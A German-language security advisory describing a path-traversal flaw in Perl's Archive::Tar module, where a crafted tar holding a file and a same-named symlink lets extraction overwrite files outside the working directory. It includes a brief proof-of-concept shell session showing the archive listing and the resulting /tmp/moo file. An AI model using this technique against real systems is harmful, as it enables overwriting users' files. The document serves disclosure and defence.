Perl: Fehler beim Entpacken von tar-Dateien

Eine Sicherheitslücke in Perl hat zur Folge, dass ein entfernter Angreifer
Dateien des Systems überschreiben kann.

Die Schwachstelle befindet sich in dem Archive::Tar Modul und tritt beim Verarbeiten von Tar-Dateien auf. Ein Angreifer kann dieses Problem mit Hilfe einer geschickt konstruierten Tar-Datei ausnutzen. Diese muss eine Datei und einen symbolischen Link (symlink) mit identischen Namen enthalten. Beim Entpacken erzeugt der Archive::Tar Programmcode dann eine Datei ausserhalb des aktuellen Arbeitsverzeichnisses.

Der Angreifer kann damit dann beliebige Dateien des Systems mit den Rechten des
Anwenders überschreiben. Ein Proof-of-Concept Exploit sieht wie folgt aus:

$ tar -tvvf traversal.tar.gz
lrwxrwxrwx root/root 0 2018-06-05 18:55 moo -> /tmp/moo
-rw-r–r– root/root 4 2018-06-05 18:55 moo

$ pwd
/home/jwilk

$ ls /tmp/moo
ls: cannot access ‘/tmp/moo’: No such file or directory

$ perl -MArchive::Tar -e ‘Archive::Tar->extract_archive(“traversal.tar.gz”)’

$ ls /tmp/moo
/tmp/moo

Nachdem Ausführen des Perl-Befehls hat der Angreifer durch die Schwachstelle die /tmp/moo-Datei angelegt.

E-Mail Benachrichtigung
Benachrichtige mich zu:
0 Kommentare
Älteste
Neuste Beste Bewertung
Inline Feedbacks
Alle Kommentare anzeigen
Nach oben